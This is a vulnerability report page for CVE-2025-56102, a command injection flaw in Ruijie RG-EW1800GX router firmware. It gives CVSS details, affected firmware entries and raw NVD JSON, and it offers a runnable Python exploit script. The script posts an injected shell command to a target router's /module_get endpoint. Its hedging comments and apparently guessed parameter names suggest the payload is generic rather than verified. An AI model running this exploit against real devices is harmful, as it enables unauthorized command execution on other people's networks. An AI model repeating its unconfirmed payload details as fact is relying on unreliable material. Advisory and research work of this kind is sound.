Security Vulnerability Report
中文
CVE-2025-56102 CVSS 8.8 HIGH

CVE-2025-56102

Published: 2025-12-11 19:15:56
Last Modified: 2026-01-27 17:18:08

Description

OS Command Injection vulnerability in Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\(1\)b11p226:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300r_firmware:3.0\(1\)b11p301:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1800GX B11P226_EW1800GX_10223121及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56102 PoC - Ruijie RG-EW1800GX OS Command Injection # Target: /module_get endpoint in /usr/local/lua/dev_sta/networkConnect.lua def exploit(target_ip, port=80, cmd='whoami'): """ Exploit OS Command Injection in Ruijie RG-EW1800GX Args: target_ip: Target device IP address port: Web management port (default: 80) cmd: Command to execute on the target Returns: Response from the vulnerable endpoint """ url = f'http://{target_ip}:{port}/module_get' # Payload construction - inject OS command via POST parameter # The vulnerability allows command injection through specific parameters # that are passed to os.execute() or similar functions without sanitization payload = { 'module': 'dev_sta/networkConnect', 'action': 'connect', # Command injection via parameter manipulation 'param': f';{cmd};' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-56102-PoC)' } try: response = requests.post(url, data=payload, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f'Error: {str(e)}' if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [command]') print(f'Example: python {sys.argv[0]} 192.168.1.1 whoami') sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f'[*] Targeting {target}') print(f'[*] Executing command: {command}') print('[*] Response:') print(exploit(target, 80, command))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56102", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.090", "lastModified": "2026-01-27T17:18:08.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\\(1\\)b11p226:*:*:*:*:*:*:*", "matchCriteriaId": "158332AF-B2AC-41AD-A40D-6F638C654834"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7BCCEA-3446-4E6C-90F2-3B8B09BCAD5D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300r_firmware:3.0\\(1\\)b11p301:*:*:*:*:*:*:*", "matchCriteriaId": "82120F30-7B15-436E-B8B3-EFBDC88FD484"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "1BA7D348-02CC-406E-90C0-C82628007616"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EgUg1zJuaItDmLxZhkCg4B8BcJTRYnXyX4ePIIjNoZrRew?e=a23cK6", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EXNcf0lLKjZLv6U4-ErArMkBKqwLJhJbiJwuQl5MSd0W3w?e=GfXnnz", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56102.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}